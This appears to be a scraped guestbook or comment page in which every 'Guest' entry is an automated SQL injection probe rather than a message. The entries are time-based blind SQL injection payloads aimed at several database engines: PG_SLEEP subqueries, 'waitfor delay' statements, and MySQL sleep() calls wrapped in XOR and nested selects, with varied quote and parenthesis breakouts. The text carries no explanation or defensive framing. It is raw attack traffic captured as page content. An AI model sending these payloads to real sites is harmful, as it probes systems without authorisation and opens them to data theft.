Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

Guest:
5550j6eW6XF')); waitfor delay '0:0:15' -- 


(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
Xrl27soq'; waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
SOUSNB2R'); waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
5RcQYQyB')); waitfor delay '0:0:15' --

Guest:
555-1) OR 520=(SELECT 520 FROM PG_SLEEP(15))--
eAJ3z291' OR 699=(SELECT 699 FROM PG_SLEEP(15))--